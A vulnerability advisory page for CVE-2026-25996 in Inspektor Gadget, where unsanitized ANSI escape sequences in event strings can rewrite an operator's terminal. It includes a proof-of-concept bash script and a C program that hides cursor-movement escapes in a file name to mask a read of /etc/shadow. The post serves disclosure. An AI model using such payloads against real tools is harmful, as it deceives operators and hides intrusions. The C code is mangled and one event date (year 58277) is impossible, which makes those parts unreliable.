CVE-2026-25996: Inspektor Gadget uses unsanitized ANSI Escape Sequences In `columns` Output Mode

Published Feb 12, 2026
·
Updated

Description String fields from eBPF events in columns output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences.

Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of ig operators, with various effects.

The columns output mode is the default when running ig run interactively.

PoC

Attachments run.sh bash

#!/bin/bash set -e

SCRIPTDIR="$(cd "$(dirname "$0")" && pwd)" CONTAINERNAME="poc-escape-inject"

echo "Make sure ig is running in another terminal:" echo " sudo ig run traceopen -c ${CONTAINERNAME}" echo "" echo "Press Enter to continue..." read -r

sudo docker run --rm \ --name "${CONTAINERNAME}" \ -v "${SCRIPTDIR}/escapeinject.c:/src/escapeinject.c:ro" \ gcc:latest \ bash -c " gcc -o /tmp/escapeinject /src/escapeinject.c && \ /tmp/escapeinject "

escapeinject.c c #include <fcntl.h> #include <stdio.h> #include <unistd.h>

static void readfile(const char path) { int fd = open(path, ORDONLY); if (fd >= 0) close(fd); }

static void createfile(const char path) { int fd = open(path, OCREAT | OWRONLY | OTRUNC, 0644); if (fd >= 0) close(fd); }

int main(void) { printf("[1] normal activity\n"); createfile("/tmp/app.log"); printf("[2] malicious read of /etc/shadow\n"); readfile("/etc/shadow"); usleep(300000); printf("[3] tampering the log\n"); createfile("/etc\x1b[1A/bashrc\x1b[1B\x1b[13C"); usleep(300000); return 0; }

1. Setup a Linux host and build/install ig version 0.48.0 2. Run the attached run.sh on a terminal 3. Run sudo ig run traceopen -c poc-escape-inject on another terminal 4. Press "Enter" on the terminal attached to run.sh 5. Observe the events traced by ig 6. Notice that, at some point, the line where /etc/shadow is logged is overwritten /etc/bashrc, demonstrating the log injection

Impact

The impact depends on the injection point – mostly due to length limitations – and on the terminal used by the operator when running displaying columns output.

At the very least, the injection can be used for Log Injection, by inserting new lines or deleting existing ones.

However, by leveraging Operating System Command (OSC) ANSI escape sequences, the impact on modern terminal can vary, possibly allowing an attacker to:

- lead to DoS (Denial of Service) - write to the system clipboard - create hyperlinks to attacker-controlled servers - change window title - potentially execute code (see referenced resources)

Resources - https://www.youtube.com/watch?v=spb8Gk9Z09Y

Notes

The json output mode was already sanitizing the content.

Other sources

Inspektor Gadget is a set of tools and framework for data collection and system inspection on Kubernetes clusters and Linux hosts using eBPF. String fields from eBPF events in columns output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of ig operators, with various effects. The columns output mode is the default when running ig run interactively.

MITRE

Affected Software

3 affected componentsFixes available
inspektor-gadget
linuxfoundation Inspektor Gadget<0.49.1
go/github.com/inspektor-gadget/inspektor-gadget<0.49.1
0.49.1

Event History

Feb 12, 2026
CVE Published
via MITRE·08:06 PM
Data Sourced
via MITRE·08:06 PM
DescriptionWeakness
Data Sourced
via NVD·09:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Apr 22, 2026
Advisory Published
via GitHub·06:50 PM
Data Sourced
via GitHub·06:50 PM
DescriptionWeaknessAffected Software
Mar 21, 58277
Event
via NVD·06:06 AM

Frequently Asked Questions

1

What is the severity of CVE-2026-25996?

CVE-2026-25996 has a moderate severity as it involves unsanitized ANSI Escape Sequences potentially leading to security risks in output rendering.

2

How do I fix CVE-2026-25996?

To fix CVE-2026-25996, update Inspektor Gadget to the latest available version that addresses the vulnerability.

3

What are the potential impacts of CVE-2026-25996?

The potential impacts of CVE-2026-25996 include exploitation of insecure data rendering leading to information disclosure or command injection.

4

Which versions of Inspektor Gadget are affected by CVE-2026-25996?

CVE-2026-25996 affects all versions of Inspektor Gadget prior to the patched release that resolves the vulnerability.

5

Is CVE-2026-25996 a new vulnerability?

CVE-2026-25996 was recently identified and is part of ongoing security assessments in the Inspektor Gadget toolset.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203